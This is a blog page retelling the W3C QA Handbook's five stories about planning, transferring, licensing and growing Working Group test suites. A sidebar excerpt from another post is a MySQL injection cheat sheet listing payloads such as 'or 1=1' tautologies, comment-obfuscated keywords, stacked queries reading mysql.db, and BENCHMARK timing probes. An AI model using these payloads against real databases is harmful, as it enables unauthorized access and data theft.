Skip to main content

The QA Handbook-The Five simple stories

Story 1: Think about quality early

The Charter-drafting team of a new Working Group, led by Staff Contacts and co-Chairs, looks through The QA Handbook. Following the good practices in the early-commitment and planning module, the team debates how much it can realistically commit to at this early stage. After deciding on some test materials deliverables, milestones, and specification synchronization that it considers to be safe commitments, the team uses the provided Charter Template to include these in the draft Charter.

Or it could help a Chair who is trying to jump-start a test suite project...


Story 2: Jump-starting a testing effort

An existing Working Group has just finished writing its Requirements and Use Cases documents, and has begun to draft its specification. At the same time, it is taking a first look at its test suite plans. As recommended in the The QA Handbook, the Chair jump starts the Test Suite project by appointing a point of contact and part-time Test Suite team, whose first output is a quick QA Process Document (QAPD) using the provided QAPD template.

Or maybe the Chairs and Staff Contacts are pondering the transfer of a test suite from an external entity...


Story 3: Test-suite transfer

A Working Group has re-chartered to finish a Second Edition of its specification, and to develop the next functional version. The group did not develop a test suite during its first charter, but a collaboration of outside organizations and an industry consortium has developed one. The Chair and Staff Contacts have negotiated an agreement in principle to transfer the test suite to a stable home in W3C. In The QA Handbook, they find a handy checklist of preliminary steps, requirements, and specific activities for a smooth transfer.

Or maybe they need to take preemptive action due to looming possible license-issue hassles...


Story 4: Test suite licensing

A Working Group is almost ready to request Candidate Recommendation (CR), and has gotten a comprehensive test suite together for the CR's trial implementation period. As the Chair starts to arrange for publication of the test suite, she finds the Working Group split on which test suite distribution licenses to use. Consulting The QA Handbook, she finds discussion of the pros and cons of the W3C licenses (the Software License and the Document License), and advice on devising an optimal licensing strategy.

Or maybe they can borrow the experience of other W3C Working Groups for various useful and common test suite processes...


Story 5: Test development processes

A Working Group has built and released a basic test suite for its specification. A Staff Contact has been given the Action Item to plan its expansion to a more comprehensive test suite, by leveraging and integrating the large test collections of several early implementors. Rather than figure out the issues and write a Test Contribution & Review process from scratch, he looks at the summary advice in The QA Handbook. QAH points him both to some useful templates, and to more detailed stuff in collected test guidance — Test Development FAQ [TEST-FAQ] and Wiki pages [TEST-WIKI] — significantly shortening his effort to complete his action item.


Regards
Priyadarshan Mohanty
Software Engineer
Mindfire Solutions
Labels:

Comments

Post a Comment

Popular posts from this blog

BUG TRIAGE

Bug Triage– Severity & Priority "Triage" is a medical term. It refers to dividing wounded or sick people into three categories: those who will die no matter what you do, those who will recover even if unaided, and those who will recover only if aided. In a situation where there's too much to do, you must concentrate on the third group. Bug Triage Meetings (sometimes called Bug Councils) are project meetings in which open bugs are divided into categories. The most important distinction is between bugs that will not be fixed in this release and those that will be There are three categories for the medical usage, software also three categories - bugs to fix now, bugs to fix later, and bugs we'll never fix Triaging a bug involves: Making sure the bug has enough information for the developers and makes sense Making sure the bug is filed in the correct place Making sure the bug has sensible "Severity" and "Priority" fields Let us see wh
Post a Comment
Read more

oops…you did it again and again

No matter how reliable the candidate looks on paper, he/she needs to do deliver at the interview stage. Hiring managers share some of the most unforgettable blunders made by candidates and suggest preventive measures to avoid such goof-ups. Viren Naidu A job interview is indeed a place where even a small slip can go a long way. Candidates need to be alert and well prepared before a job interview, so that they can project a complete, holistic picture of their qualifications, as well as strike a chord with the interviewer. In some instances, a candidate may be, otherwise, well suited for the job role, but small character traits and behavioural glitches may land him/her in a tough spot, and the offer may, in turn, be withdrawn. Here are some of the common mistakes candidates make and ways in which you can avoid them: 1) Harpreet Kaur, Sr. general manager & head – human resources, Godrej & Boyce Mfg. Co. Ltd: Mistake 1: The candidate has the tendency to give the impression that he/
1 comment
Read more

Examples MYSQL injections

  MySQL Injection Cheat Sheet Basics. SELECT * FROM login /* foobar */ SELECT * FROM login WHERE id = 1 or 1=1 SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%" Variations. SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 A/**/ND user L/**/IKE "%root%" SHOW TABLES SELECT * FROM login WHERE id = 1 or 1=1; SHOW TABLES SELECT VERSION SELECT * FROM login WHERE id = 1 or 1=1; SELECT VERSION() SELECT host,user,db from mysql.db SELECT * FROM login WHERE id = 1 or 1=1; select host,user,db from mysql.db; Blind injection vectors. Operators SELECT 1 && 1; SELECT 1 || 1; SELECT 1 XOR 0; Evaluate all render TRUE or 1. SELECT 0.1 <= 2; SELECT 2 >= 2; SELECT ISNULL(1/0); Math SELECT FLOOR(7 + ( RAND () * 5)); SELECT ROUND(23.298, -1); Misc SELECT LENGTH(COMPRESS(REPEAT('a',1000))); SELECT MD5('abc'); Benchmark SELECT BENCHMARK(10000000,ENCODE('abc','123'));
Post a Comment
Read more